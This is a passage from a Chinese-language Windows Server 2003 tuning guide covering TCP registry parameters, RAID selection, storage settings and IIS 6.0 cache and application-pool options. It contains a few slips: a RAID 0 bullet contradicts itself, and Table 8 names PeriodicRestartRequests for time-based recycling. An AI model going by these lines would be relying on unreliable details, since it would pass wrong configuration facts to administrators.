这些网络适配器对于故障转移应用来说非常适宜,但是网络适配器上的所有端口都共享同一个中断。通常,对于同样的工作负载,使用两块单端口的网络适配器要比使用一块双端口的网络适配器具有更好的性能。

调整网络适配器
如果网络适配器允许,可以通过调整网络适配器来优化网络吞吐量和资源使用率。需要记住的是:具体的调整工作需要视网络适配器、工作负载、主机资源以及性能目标而定。

启用卸载特性
开启网络适配器的卸载特性一般总是有益的。但是,在某些情况下,网络适配器的处理能力可能不足以完成高吞吐量情况下的卸载工作。比如,启用LSO会降低某些网络适配器最大能承受的吞吐量。但是,即使是这样的网络适配器,如果对吞吐量方面的降低并不在意,也应该启用卸载特性。请注意:某些网络适配器需要为发送和接收路径单独启用卸载特性。

网络适配器资源
有几种网络适配器允许管理员配置资源。可以为接收缓冲区和发送缓冲区设置参数。部分网络适配器会主动管理它们的资源,而无需为这些网络适配器设置这些参数。

中断调解
某些网络适配器会保留 buffer coalescing (缓冲区合并)参数(发送和接收缓冲区有时单独进行配置)。在网络适配器不能够以自适应方式执行中断调解时,考虑缓冲区合并十分重要。

TCP 参数
高吞吐量情境下可以考虑进行调整的TCP 参数如表1所示。

表 1. TCP 参数

参数
描述

TCPWindowSize
该值决定了在任何一个给定的时间,能够在网络上传送的最大数据量(以字节计)。可以使用如下注册表条目,将其设置为从1到65,535 字节的任何值:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Services\Tcpip \Parameters\TcpWindowSize (REG_DWORD)

对于gigabit接口,此参数的默认值被设置为65,535左右(向下舍入为最接近的完整TCP数据包的倍数),100Mbps的连接设置为 16,384,其他速度更低的接口(例如调制解调器)则设置为8,192 —— 同样需要向下舍入。理想情况下,该值应该被设置为端到端网络带宽(以字节为单位)与往返延迟(以秒为单位)的乘积,也就是带宽与延迟的乘积。该值应该根据计算机预计接收到的TCP数据量进行设置。

Window Scaling
在带宽与延迟的乘积值很高的连接上(例如,卫星连接),可能需要将窗口的大小增加到64K以上。为了提高窗口大小,需要按照RFC1323中的规定,设置如下注册表条目,以启用TCP选项: HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Services\Tcpip\Parameters\Tcp1323Opts (REG_DWORD)

为了使用大于65,535的窗口尺寸,该注册表条目应该被设置为1。在修改了该值之后,便可以将用来控制TCPWindowSize的注册表条目设置为大于64K的值(最大1GB)。

MaxHashTableSize
该值决定了保存TCP连接状态的散列表的大小。默认值为128乘以系统中处理器数量的平方。如果预计系统需要处理大量的并发连接,可以将如下注册表条目设置为一个较高的数值,以提高散列表的性能:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Services\Tcpip \Parameters\MaxHashTableSize (REG_DWORD)

最大值为 0x10000(65,536)。我们建议您在将要处理大量连接负载的大型服务器上将此值设置为最大值。需要记住的是:该表使用了不分页的池,所以,如果服务器没有许多不分页池可用,或者服务器不需要处理大量连接负载,那么请不要将本参数设置为一个太高的数值。

NumTcbTablePartitions
默认情况下,存放TCP连接状态的表拥有的分区数量等于处理器数目的平方。在大多数情况下,该设置是恰当的,而且会减少表的争用现象。但是,对于处理器数目大于16的服务器,默认值显得过于高了,并可能会因此占用太多的CPU资源。在这种情况下,请将以下注册表条目设置为一个小于处理器数目平方的数值:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Services\Tcpip\Parameters\
NumTcbTablePartitions (REG_DWORD)

MaxUserPort
当计算机上存在一个活动连接的时候,就会使用到端口。在给定了可用的用户模式端口(每个IP地址有5000个)的默认值和TCP超时等待要求之后,可能必须在系统中提供更多的端口以供使用。可以将如下注册表条目的值最大设置为 0xfffe(65534):

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Services\Tcpip \Parameters\MaxUserPort


 

存储系统的性能调整
存储体系结构的驱动程序堆栈包含许多组件,如图2所示。本节将讨论存储负载的调整方法。




图 2 存储驱动程序堆栈

选择存储系统
在选择存储系统时,最重要的考虑事项是:

· 为当前和未来的存储需要提供必要的存储空间、带宽和延迟特性。

· 选择HW RAID 类型的系统和备份过程,以便获得良好的性能表现和数据恢复能力。

WHQL 认证
选择通过了WHQL认证的存储适配器。

减少待存储数据的数量
如果希望减少在新的文件服务器上保存的数据数量,需要考虑以下问题:

· 当前在文件服务器上保存的数据量,这些文件服务器将要被合并到新的服务器中。

· 如果文件服务器将成为一个复制成员,存储在新的文件服务器上的数据中将有多少会参加复制。

· 未来需要在文件服务器上保存的数据量。

一般的指导原则是:针对超过目前增长速度的更快的未来增长进行规划。调查组织是否打算雇佣大量人员,或者组织中的各个部门是否计划实施一些需要超大存储容量的项目等等。

此外,还必须将操作系统文件、应用程序、RAID冗余、日志文件以及其他因素考虑在内。表2描述了影响文件服务器容量的部分因素。

表 2. 影响文件服务器性能的因素

因素
需要的存储容量

操作系统文件
至少1.5 GB。为了为可选组件、未来安装的服务包以及其他项目预留足够的空间,还应该为操作系统卷再额外规划3 GB到5 GB的空间。

分页文件
情况下,其大小默认为内存容量的1.5 倍。

内存转储
根据选择的内存转储文件选项,需要的磁盘空间可能等于物理内存的数量再加上1MB。

应用程序
根据应用程序的具体情况而有所变化,包括防病毒、备份、磁盘配额软件、数据库应用以及可选组件(例如,恢复控制台、Services for Unix和Services for NetWare)等。

日志文件
根据创建日志文件的应用程序而有所变化。某些应用程序允许用户设置日志文件的最大尺寸。必须确保有足够的剩余空间来容纳日志文件。

RAID 解决方案
视具体情况而有所变化;请参阅后文中的 选择RAID 级别 了解更多信息。

影子副本
默认情况下,使用10%的卷空间,但是我们建议用户为其使用更多空间。


 

存储阵列的选择
在选择存储阵列和适配器的时候需要考虑许多事项。在选择存储阵列类型的时候,可以考虑以下选项:

表3. 选择存储阵列时的选项

选项
描述

光纤通道或SCSI
· 光纤通道允许用户使用长的玻璃或铜制电缆将存储阵列连接到系统,从而提供高带宽。

· SCSI 提供了非常高的带宽,但是电缆长度有限。

HW RAID 能力
存储控制器具有 HW RAID 能力十分重要。表4介绍了RAID 0、RAID 1和RAID 5级别。

最大存储容量
· 总的存储区域。

· 访问存储系统时的带宽由阵列中的物理磁盘数量、控制器的速度以及磁盘类型(例如,SCSI或光纤通道)、HW RAID、以及将存储阵列连接到系统的适配器共同决定。


 

HW RAID 的级别
大多数存储阵列都具有部分的HW RAID功能,并包括如下RAID选项。

表4. HW RAID 选项

选项
描述

RAID 0
RAID 0 表现为一个逻辑磁盘,由一组物理磁盘组成,并以带区方式访问磁盘。

· 整体来看,这种方式是速度最快的HW RAID配置方式。

· 这是一种最为廉价的RAID配置方式,因为无需复制数据。

· 和RAID 0 和 RAID 5 不同,RAID 0 不提供额外的数据恢复机制。

RAID 1
RAID 1 表现为一个逻辑磁盘,它与另一个磁盘互为镜像。

· RAID 1的写操作的速度慢于RAID 0,因为需要向两块或两块以上的物理磁盘写入数据,而且它的写操作具有最长的延迟时间。

· 在某些情况下,RAID 1读取数据的速度要快于RAID 0,因为它可以从最闲的一块物理磁盘中读取数据。

· 从物理磁盘方面来看,RAID 1是最为昂贵的配置方式,因为数据被完整地保存成两份或者更多的副本。

· 在物理磁盘发生故障之后所需的恢复时间方面,RAID 1的速度最快,因为第二块物理磁盘可以立即投入使用。可以在安装新的镜像磁盘的同时,允许用户访问所有数据。

RAID 5
RAID 5 表现为一个逻辑磁盘,它将奇偶校验信息写入到另一块磁盘中,如图3所示。

· RAID 5 使用独立的数据磁盘,并且具有分布式的奇偶校验块。

· RAID 5 的速度慢于RAID 0,因为每一个逻辑磁盘的写I/O都会将数据被写入到多块磁盘。但是,RAID 5提供了RAID 0 所没有的数据恢复功能,因为可以根据奇偶校验来重新构造数据。

· 在物理磁盘发生故障之后,RAID 5 需要花费额外的时间(和RAID 1相比)进行恢复,因为它需要利用保存在其他磁盘上的奇偶校验信息来重新构造磁盘上的数据。

· 因为不需要在磁盘上保存数据的完整副本,RAID 5的成本低于RAID 1。

其他
其他的RAID组合方式包括RAID 0+1、Raid 10 以及 Raid 50。


 

下图描绘了RAID 5 的配置方式。



图 3  RAID5 概述

选择RAID 级别
选择每一个RAID 级别时都需要全面考虑如下因素:

· 成本

· 性能

· 可用性和可靠性

您可以评估各种数据类型的读写负载,然后确定为了实现组织的性能表现和可用性(可靠性)目标所需耗费的资金,最后为文件服务器选择最佳的RAID级别。表5介绍了4种常见的RAID级别、它们的相对成本、性能表现、可用性和可靠性以及建议使用的场合。

表5. RAID 考虑因素

 
RAID-0

带区
RAID-1

镜像
RAID-5

带奇偶校验的带区
RAID-0+1

带区镜像

最小磁盘数量
2
2
3
4

可用的存储容量
100%
50%
N-1/N

此处的 N 为磁盘的数目
50%

容错性
无。其中一块磁盘的故障会丢失卷中的所有数据。
可以允许损失多块磁盘,只要有一对镜像磁盘没有损失即可。
可以容忍其中一块磁盘发生故障。
可以允许损失多块磁盘,只要还有一对镜像磁盘没有损失即可。根据阵列中镜像磁盘的对数而有所变化 1。

读性能
由于改善了并发性,一般会得到提高
良好的读性能
由于改善了并发性,一般会得到提高
由于改善了并发性,并且每个请求可以有两个来源,从而提高了性能。

写性能
由于改善了并发性,一般会得到提高
比JBOD 差(对于大多数负载,在20% 和 40% 之间)
很差,除非执行完整的带区写入操作(大型请求),比JBOD低大约25%左右(4:1 请求)。
可能提高,也可能降低,具体情况视请求的大小、热点(静态或动态)等因素而定。

最佳用途
只用于存储临时数据
操作系统日志文件
· 操作系统

· 用户和共享数据

· 应用程序文件
· 操作系统

· 用户和共享数据

· 应用程序文件

· 日志文件


1如果某块磁盘发生故障,在替换磁盘之前如果其镜像伙伴也发生故障,数据将会丢失。但是,任何其他成员磁盘的故障并不会导致数据丢失。

 

如果您使用了两块以上的磁盘,RAID 0+1永远都是比RAID 1更好的解决方案。

在确定应该在RAID 0、RAID 5和RAID 0+1虚拟磁盘中包括的磁盘数量的时候,应该考虑以下信息:

· 随着添加更多的磁盘而获得的性能提升。

· 可靠性,两块磁盘的平均故障时间(MTTF),将随着在RAID 5或RAID 0中添加磁盘而不断降低。

· 随着添加更多磁盘,可用的存储容量将增加,但是成本也会随之一同上升。

· 带区单元的大小。软件解决方案将其固定在64 KB。硬件解决方案则从4KB到1MB不等。理想的带区单元的大小可以在不中断请求的情况下最大限度改善磁盘操作(因为多块磁盘可以服务于同一个请求)。例如:

· JBOD上的一个顺序请求流(大型)在一个时间只会导致一块磁盘处于繁忙状态。为了让所有磁盘都处于繁忙状态,带区单元需要被设为1/N(此处的 N 等于请求的大小)。

· 对于N个小型的随机请求流,如果N大于磁盘的数目,而且没有热点,那么带区集将不会提高系统的性能。但是,如果存在热点,带区单元的大小就需要精心设置,以便将请求被分割的现象降至最少,同时最大限度地避免热点完全落入一个或两个带区单元。您可能会将单元的大小设置为请求大小的低倍数,例如5倍或10倍,尤其是当请求大小位于某个容量界限时(例如,4KB或者8KB)。

· 当流的数量少于磁盘的数量时,需要对流进行分割,以便所有磁盘都保持繁忙状态。根据上面的两个例子,例如,如果您有10块磁盘和5个流,那么需要对半分割每个请求(将带区单元的大小设置为请求大小的一半)。

确定卷的布局
任何时候,都应该尽可能地将不同类型的数据分别放在不同的卷上。例如,为操作系统和分页文件使用一个卷,为共享的用户数据、应用程序和日志文件使用一个或多个卷

将不同类型的数据放在不同虚拟磁盘的不同卷中。使用不同的虚拟磁盘对于那些会产生大量数据写入负载的数据类型(例如日志文件)来说显得尤其重要,因为单个磁盘集(包含虚拟磁盘)可以专门用来处理由于日志文件的更新而产生的磁盘I/O。将分页文件放在单独的虚拟磁盘上可以小幅度地提高系统性能,但是这种性能提升一般不值得为其付出额外的成本。

为了在最大限度降低成本的同时提高性能,将位于同一个虚拟磁盘上的一个或多个卷中的不同数据类型合并到一起通常是一种有益的做法。一个常见的方法就是:将操作系统和分页文件放在同一个虚拟磁盘上,而将用户数据、应用程序以及日志文件放在剩余虚拟磁盘的一个或多个卷上。

中断调解
某些存储适配器能够减慢向主机处理器发出中断的频率,这些中断表明发生(或)完成了某个磁盘操作。减缓中断频率通常会降低CPU的负载,但是,除非中断调解能够以智能化的方式执行;否则CPU性能的提高将以延迟时间的增加作为代价。

表6. 中断调解选项

设备
描述

64位功能
支持64位的适配器可以在大容量内存地址(大于4GB)上执行DMA操作。

铜缆和光纤(玻璃)适配器
使用铜缆的适配器和使用光纤的类似产品一般具有相同的性能表现,而且铜缆和光纤都可以用在某些光纤通道适配器上。使用铜缆和光纤的适配器应该说各有所长,分别有各自适用的环境。

双端口或4端口SCSI适配器
某些SCSI适配器在一块适配器卡上提供了2或4条SCSI总线。由于SCSI限制了能够连接到SCSI总线上的磁盘数量,这种做法通常是十分必要的。光纤通道的磁盘一般对连接到适配器的磁盘数量没有进行限制。


 

与存储有关的参数
您可以调整如下注册表参数,获得更高的吞吐量。

CountOperations
本参数允许您关闭系统和进程级别的I/O计数器。该计数器会影响磁盘和网络I/O请求的系统和磁盘计数。除了网络接口、IP和TCP计数器之外,物理和逻辑磁盘计数器不受本参数的影响。由于对进程和系统级别的I/O进行计数会产生可观的开销,而且系统仍然会分析物理、逻辑、网络接口、IP和TCP级别的I/O速率,因此在系统上使用此注册表参数关闭进程和系统计数器就非常有用。为了关闭进程和系统I/O计数器,需要在以下注册表条目中创建一个注册表值——以及I/O系统键(如果不存在)——并且将其值设置为0(REG_DWORD):

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Session Manager\I/O System\CountOperations.

为了使本设置生效,需要重新启动计算机。可以将CountOperations设置为1,或者删除CountOperations注册表条目,以重新开启进程和系统计数器。

NumberOfRequests
本参数允许您指定为某块给定适配器创建的SRB的数量。它能够提高性能,并且让Windows向逻辑磁盘发出更多的磁盘请求,这对于拥有并发能力的HW RAID 适配器来说尤其有用,因为每一个逻辑磁盘都由多块物理磁盘组成。但是,默认设置对于许多高速的HW RAID磁盘阵列来说通常不是最佳的设置。 可以将NumberOfRequests设置为32到96(十进制)之间的一个数值,改善磁盘阵列的整体性能。可以设置以下注册表条目: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MINIPORT_ADAPTER\Parameters
\DeviceN\NumberOfRequests (REG_DWORD)

用具体的适配器名称替换miniport_adapter。为每个设备建立一个条目,并且在每个条目中用Device1、Device2…替换 DeviceN ,具体情况视添加的设备数量而定。为了让设置生效,需要重新启动计算机。例如,如果两块Emulex LP9000 微型端口适配器的微型端口驱动程序名称为lp6nds35,可以创建如下注册表条目,并将它的值设置为96:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\lp6nds35\Parameters\Device0\NumberOfRequests

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\lp6nds35\Parameters\Device1\NumberOfRequests

DontVerifyRandomDrivers
本参数会阻止驱动程序验证程序处于调试的目的随机校验驱动程序。为了禁用驱动程序校验程序,可以将以下注册表条目的值设为1(REG_DWORD):

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Session Manager\Memory Management\DontVerifyRandomDrivers.

IIS 6.0 性能调整
选择正确的高性能硬件
选择能够满足预期Web负载(包括平均负载、峰值负载、容量、成长规划以及响应时间)的正确硬件十分重要。硬件瓶颈会让软件调整带来的性能提升大打折扣。在选择硬件时,请考虑表7所列出的各个因素:

表7. 为IIS 6.0选择硬件时的考虑事项

因素
考虑事项

处理器的数目、类型和速度
· 脚本(ASP或 ASP.NET)以及加密(SSL)都是十分耗用CPU资源的工作。此外,并发的客户端负载也会加重CPU的负担。在为系统选择处理器的速度和数量时,应该考虑到这些因素。

· 大容量的 L2 处理器缓存能够提供更出色的性能。

· 两颗CPU的综合性能通常无法与单颗具有双倍速度(相对于上述两颗速度较慢的 CPU 而言)的 CPU 相媲美。

物理内存(RAM)的数量
在添加更多的站点、内容脚本(特别是ASP.NET脚本)和应用程序池(或者工作进程)时,添加内存有助于提升系统的性能。

网络适配器的数目、类型和速度
网络适配器不应该成为瓶颈。型号较新的网卡可以卸载某些服务器功能,从而提升性能。更多细节信息,请参阅前文中的网络性能调整。

磁盘控制器的类型,物理磁盘的数量和容量
· IIS 能够将经常访问的文件缓存在内存中。但是,不经常访问的文件(“冷门”文件)必须在需要时从磁盘上读取,需要经常访问“冷门”文件的大型站点需要拥有良好的磁盘性能(连接到大量磁盘的RAID控制器)。

· IIS 日志文件的大小以及预计的增长情况都应该纳入考虑范围之内。

IIS可能依靠的其他服务器
· 速度缓慢的SQL Server 可能会制约连接到其上的IIS服务器的响应率,即使IIS 服务器拥有优秀的硬件组件。

· 如果将IIS服务器和SQL Server(或者任何其他CPU密集型组件)放在同一台服务器上,会限制每个组件能够使用的资源,并且影响系统的整体性能。


 

操作系统最佳实践
· 如果可能,以全新方式安装操作系统。升级可能会留下过期、不想要或者不是最优的注册表设置,以及先前安装的服务和应用程序,如果这些服务和应用程序会自动启动,那么将占用宝贵的资源。如果安装了另一个操作系统并且需要保留该系统,那么应该在不同的分区安装新的操作系统,否则新安装的系统将覆盖Program Files\Common Files下的设置。

· 为了降低磁盘访问冲突,应该将系统分页文件、操作系统、Web数据、ASP模板缓存以及IIS日志尽可能放在不同的物理磁盘上。

· 避免安装不必要的服务和应用程序。

IIS 6.0 优化
IIS 6.0 应用了新的进程模型。内核模式的HTTP侦听程序(Http.sys)接收并发送HTTP请求(甚至可以使用它的响应缓存来满足请求)。工作进程注册URL子空间,Http.sys将请求发送到相应的进程(如果使用应用程序池,则发送到进程集合)。

图 4 展示了IIS 5.0和IIS 6.0进程模型之间的差异。IIS 5.0使用WinSock在端口80接受连接。请求由 inetinfo 进程负责接收,然后或者在进程内执行请求,或者将它交给dllhost 进程在进程外进行处理(为了达到隔离的目的)。响应则由 inetinfo 进程发送回去。

 



图 4  IIS 5.0 和 IIS 6.0 的进程模型

IIS 6.0 进程依赖于内核模式的Web驱动程序Http.sys。在新的模型中,Http.sys负责管理连接和处理请求。请求可能通过Http.sys缓存得到满足,也可能被交给一个工作进程以便得到进一步处理(见图5)。可以配置多个工作进程,从而以较低开销实现了隔离。

Http.sys包括了一个响应缓存。当请求与响应缓存中的某个条目相匹配的时候,Http.sys直接从内核模式中发送缓存响应。图5展示了请求通过Http.sys得到处理的情况(请求也可能向上交给某个工作进程进行处理)。



图 5  IIS 6.0中的请求处理

由于Web服务器既包括内核模式的组件,也包括用户模式的组件,必须对二者同时进行调整才能获得最佳性能。因此,针对特定负载的IIS 6.0调整工作需要对如下内容进行配置:

· Http.sys(内核模式驱动程序)以及相关的内核模式缓存。

· 工作进程和用户模式IIS,包括应用程序池配置。

此外,我们还将在后文中讨论会对性能造成影响的其他参数。

内核模式的调整
与性能有关的Http.sys设置可以划分为两类:缓存管理以及连接和请求管理。所有的注册表设置都保存在以下条目中:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Http\Parameters

如果HTTP服务正在运行,必须首先停止服务,然后重新启动计算机,以便让设置生效。

缓存管理设置
Http.sys具有的优点之一便是内核模式缓存。如果响应位于内核缓存中,那么可能可以完全通过内核模式来满足某个HTTP请求,这显然可以极大降低CPU处理请求的开销。但是,IIS 6.0的内核模式缓存是一种基于物理内存的缓存,每个条目都需要占用一定的内存空间。

缓存中的条目只有在被使用的时候才能提供益处。但是,条目在任何时候都会占用物理内存,不论它是否被使用。所以,需要对缓存某个项目带来的益处(能够直接从缓存中满足请求)以及它在整个生命期中的开销(需要占用物理内存)进行评估,并且考虑可用资源(CPU、物理内存)和工作负载的情况。Http.sys 试图仅在缓存中保存有用(经常被访问)的项目,但是,如果针对特定工作负载来调整Http.sys缓存,Web服务器的性能还可以获得一定程度的提高。

以下是一些有用的Http.sys内核模式缓存设置:

· UriEnableCache. 默认值:1。设为非零值可以启用内核模式响应和分段缓存。对于大多数工作负载,缓存都应该保持启用。如果希望获得超低响应和较低的缓存利用率,那么请考虑禁用缓存。

· UriMaxCacheMegabyteCount. 默认值:0。设为非零值可以指定内核缓存可以使用的最大内存数量。默认值为0,允许系统自动调节缓存能够使用的内存数量。注意:只能设置可以使用的最大内存数量,而且系统可能不允许缓存增长到指定的大小。

· UriMaxUriBytes. 默认值:262144 字节(256 KB)。本参数设定了内核缓存中每个条目的最大长度。大于这个长度的响应或分段都不会被缓存。如果有足够的资金,可以考虑增加此参数的值。如果资金有限,而且大型的条目会挤掉较小的条目,那么可以将本参数设为更小的值。

· UriScavengerPeriod. 默认值:120秒。一个“清道夫”程序会定期扫描Http.sys缓存,在两次扫描期间没有被访问过的条目将被删除。可以将扫描周期设置为一个较高的值,以减少扫描次数。但是,如果访问频率低的老条目仍然保留在缓存中,缓存占用的内存将不断增加。如果将此期限设置得过低,扫描频率会过于频繁,而且可能导致缓存的过度清洗和扰动。

请求和连接管理设置
此外,Http.sys管理入站HTTP/HTTPS 连接,并且是在这些连接上处理请求的第一个层。它使用内部数据结构保存有关连接和请求的信息。虽然这样的数据结构可以按需创建(或释放),但如果在look-aside里表中保存部分数据结构留作备用,则可以实现更高的 CPU 效率。保存这样的储备有助于Http.sys利用更少的CPU资源来处理负载波动。注意:负载波动不一定由外部的负载波动而引起。一些旨在改善批处理或者中断调解的内部优化措施也可能导致负载波动和起伏。

储备有助于减少CPU的使用率和缩短延迟时间,同时能够增加Web服务器的处理能力,但是也会增加内存的使用率。在调整Http.sys的请求和连接管理行为的时候,需要牢记的因素便是:可用的服务器资源,性能目标以及工作负载的特性。您可以使用以下请求和连接管理设置:

· MaxConnections。 本设置用来控制Http.sys所允许的并发连接的数量。每一个连接都会耗用非分页池(一种宝贵和有限的资源)。默认值的设置相当保守,以限制连接占用的非分页池数量。对于配备了充足内存的专用Web服务器,如果预计会产生大量的并发连接,可以将此值设置得更高一些。此值设置得越大,占用的非分页池就越多,所以要务必小心,应该使用一个与系统配置相适应的正确数值。

· IdleConnectionsHighMark、IdleConnectionsLowMark和IdleListTrimmerPeriod. 这些值用来控制对非并行使用的连接结构的处理:在某个时间必须提供多少可用的连接(用于处理连接负载的波动)、释放列表的上下界限、以及连接结构剪切和补充的频率等。

· RequestBufferLookasideDepth 和 InternalRequestLookasideDepth 这些值控制与缓冲区管理有关的数据结构的处理工作,以及应该完成多少储备以应付负载波动情况。

用户模式设置
IIS 注册表设置
以下注册表设置可以在下面的条目下找到:

HKLM\System\CurrentControlSet\Services\Inetinfo\Parameters\

· MaxCachedFileSize(REG_DWORD),以字节为单位。决定了能够被缓存的文件大小(默认为256 KB)。实际值根据数据表中最大文件的数量和大小以及可用的RAM数量而定。对频繁访问的大型文件进行缓存可以降低CPU使用率,减少磁盘访问以及相关的延迟时间。

· MemCacheSize(REG_DWORD),以MB为单位。将IIS用户模式缓存限制为指定的大小(默认设置为根据可用内存的数量由IIS调整缓存的大小)。根据“热门”文件集合(频繁访问文件的集合)的大小以及RAM数量或者IIS进程地址空间(正常情况下应该在2GB以下),需要认真选择本参数的值。

· DisableMemoryCache(REG_DWORD)。如果设置为1(默认为0),则禁用用户模式的IIS缓存。在缓存命中率非常小的时候,可以完全禁用缓存,以避免与缓存代码路径有关的开销。

· MaxPoolThreads(REG_DWORD)。设置每个处理器能创建的池线程的最大数量(默认为4,范围不限。)每一个池线程都观察网络请求,然后处理它们。MaxPoolThreads 计数没有包括当前处理ISAPI应用程序的线程。如果CPU的平均使用率没有处于最佳状态,应该增加本参数的值,因为现有的所有线程都为繁忙状态,没有用于处理新请求的可用线程。

· PoolThreadLimit(REG_DWORD)。设置系统能创建的池线程的最大数量(默认值为处理器数量的4倍,范围不限)。PoolThreadLimit 必须大于或等于MaxPoolThreads。正常情况下,PoolThreadLimit = MaxPoolThreads ´ 处理器数量。仅仅设置其中的一个参数是不够的。如果同时指定了MaxPoolThreads 和PoolThreadLimit参数,则可以施加更严格的限制。

· ObjectCacheTTL(REG_DWORD),以秒为单位。控制没有被访问过的对象在IIS用户模式缓存中停留的时间长度(默认值为30秒,如设置为0xFFFFFFFF则禁用对象缓存清道夫线程)。如果系统配备了足够的内存,而且提交的内容不经常变化,那么可以增加本参数的值。如果系统内存不足而且用户模式缓存的大小在不断增长,则应该降低本参数。请参阅本节下面的 ActivityPeriod 部分。

· ActivityPeriod(REG_DWORD),以秒为单位。只有当文件在活动期限(默认为10秒钟,如果设为0则禁用本选项)内被重复命中,才允许缓存文件。本参数会降低由于缓存不经常访问的文件而引起的缓存开销,如果缓存内容变化不大,而且没有足够的可用内存,那么可以增加活动期限的值;或者,如果缓存上存在大量请求负载,可以降低活动期限的值。

· DataSetCacheSize(REG_DWORD)默认值为50。设置配置数据库数据集缓存中虚拟目录条目的最大数量。如果已经安装的虚拟目录的数量超过了默认值,可以增加本参数的值。在提交静态内容的时候,一个容量不足的数据集缓存会增加延迟时间(更低的吞吐量和更低的CPU使用率)。

IIS Metabase
以下设置可以在 W3SVC/ 下找到。

· AspMaxDiskTemplateCacheFiles。启用ASP脚本模板的磁盘缓存。ASP模板的编译是一件非常耗费处理器资源的工作。内存大小限制了可以缓存在内存中的模板的数量。从磁盘上的模板缓存中取回编译后的模板所需的开销比编译ASP内存缓存中没有的模板要小。请参见下文中的 AspScriptEngineCacheMax 一节。

· AspDiskTemplateCacheDirectory。如果可能,可以将其设置为不频繁使用的磁盘(例如,没有和操作系统、分页文件、IIS日志或者其他频繁访问的内容共享的磁盘)。默认目录是 “%windir%\system32\inetsrv\Template Disk cache\ASP Compiled Templates”。

· AspScriptEngineCacheMax。将其设置为内存容量所允许的最大的脚本引擎数(默认为125)。

· AspScriptFileCacheSize。设置为内存容量所允许的最大的ASP模板数量(默认250)。请参阅前文中的AspMaxDiskTemplateCacheFiles一节。

· AspExecuteInMTA。如果在交付某些ASP内容时希望对出现的错误或故障进行检测,请将本参数设置为1(启用)。例如,如果需要托管多个站点,而且每个站点都运行在它自己的工作进程之下,那么便可以启用本参数。错误一般可以在事件查看器中的COM+部分中看到。本设置启用了ASP中的多线程单元模型(默认值为0,表示禁用)。

· AspProcessorThreadMax。如果当前设置(默认为25)不足以满足负载的需求(可能会导致某些请求出现错误),可以增加本参数的值。

· CentralBinaryLoggingEnabled。通过将本参数设置为TRUE,可以启用集中的二进制日志记录。二进制IIS日志记录可以减少对CPU的使用,降低占用的磁盘空间以及减少磁盘I/O操作。集中的二进制日志可以被导向一个二进制文件,而无论托管站点的数量如何。分析二进制格式的日志需要一个后处理工具。

IIS 工作进程选项(IIS Admin UI、应用程序池属性)
在没有管理员干预、服务重启或者计算机重启的情况下,IIS管理界面上的IIS工作进程回收选项为发生的紧急故障或事件提供了有效的解决办法。这样的情况包括内存泄漏,泄漏会增加内存负担,或者导致工作进程进入不响应或空闲状态。在正常情况下,可能不需要启用回收选项,所以可以关闭它(或者对系统进行配置,以很低的频率执行回收工作)。在下面的章节中,黑体字名称是per-app-pool(应用程序池)变量。在使用脚本设置这些变量的时候,可以使用路径“ /LM/W3SVC/AppPools/n”,在这里n 代表应用程序池索引。

有三个选项,如下表所示:

· 回收选项。可以在“回收”选项卡中找到。

· 性能选项。 可以在“性能”选项卡中找到。

· 工作进程健康监视选项。可以在“健康”选项卡中找到。

表 8. 回收选项

参数
描述

PeriodicRestartRequests,DWORD,选项默认为禁用,默认值为35000
按照时间定期回收

PeriodicRestartRequests,DWORD,选项默认为禁用,默认值为35000
根据请求的(累计)数量定期回收

PeriodicRestartSchedule, MULTISZ,默认为禁用,默认为空字符串值
在指定的时间进行回收

·  PeriodicRestartMemory, DWORD,默认值为512 MB

· PeriodicRestartPrivateMemory, DWORD,默认值为192 MB

 
如果达到了以下两个条件之一,基于内存的回收(默认为禁用)将允许回收工作进程:

· 虚拟内存的最大容量

· 已使用内存的最大容量

如果面临不断增长的内存容量压力,可以其中一个参数或全部参数,基于严格的内存容量标准,频繁回收工作进程,以缓解内存压力。


 

表 9. 性能选项

参数
描述

IdleTimeout,DWORD,以分钟为单位,默认值为20
在进程的空闲时间超过指定的时间时,关闭工作进程。这样可以节省有限的内存资源,但是如果CPU负载繁重,需要频繁启动新的工作进程,则不建议采取这种做法,因为创建进程会带来一定的开销。

AppPoolQueueLength,DWORD,默认值为2000
限制每个应用程序池(App-Pool)的内核请求队列的长度。请求会消耗分页池,在对分页池具有大量需求的情况下,应该降低本参数的值。如果超过指定的长度,会导致服务器拒绝请求,并产生编号为503的非自定义错误。

CpuAccounting,BOOLEAN,默认为禁用(0),启用为1
监视CPU的使用情况。您可以按照百分比设置CPU的最大使用率(CpuLimit,DWORD,默认值为0)和监视工作的刷新周期(CpuResetInterval,DWORD,默认值为0,以分钟计)。如果达到了CPU的使用率限制,或者不采取任何操作(但是会在事件日志中写入一个事件),或者关闭工作进程(CPUAction,DWORD,默认值为0,表示“不采取任何操作”;最大值为1,表示“关闭工作进程”)。

MaxProcesses,默认:使用1个工作进程处理所有请求
可以在操作的Web Garden(Web园)模式中控制工作进程的总数量。在Web Garden模式中,几个工作进程负责处理单个应用程序池下的请求负载。没有通过不同的应用程序池为Web站点预先分配任何工作进程。在某些情况下,一个工作进程无法满足负载的处理需要(可以通过糟糕的CPU使用率和漫长的响应时间看出这一点),增加工作进程的数量则有助于改善系统的吞吐量和CPU使用率。在托管了多个站点的情况下,可以考虑采用Web Garden模式。此外,在其中一个进程突然崩溃的情况下,采用多个工作进程还提供了更多可靠性,而且几乎不会出现所有服务均中断的情况。与预先分配应用程序池相比,Web Garden模式更容易设置和控制。


 

表10. 健康选项

参数
描述

PingingEnabled,BOOLEAN, 默认值为1

PingInterval,DWORD,默认值为30秒
以固定时间间隔(PingInterval)Ping 工作进程(PingingEnabled)。如果没有响应,则认为工作进程发生错误,IIS将试图终止进程并产生一个新的进程。

RapidFailProtection,BOOLEAN,默认

RapidFailProtectionMaxCrashes, DWORD,默认为5个故障

RapidFailProtectionInterval, DWORD,默认为5分钟
设置在给定的时间段内(RapidFailProtectionInterval)允许产生的最大故障数量(RapidFailProtectionMaxCrashes),对不断快速产生故障的情况加以控制(RapidFailProtection)。如果到达了指定了故障率,应用程序池将被禁用,并且在事件日志中写入相关信息。
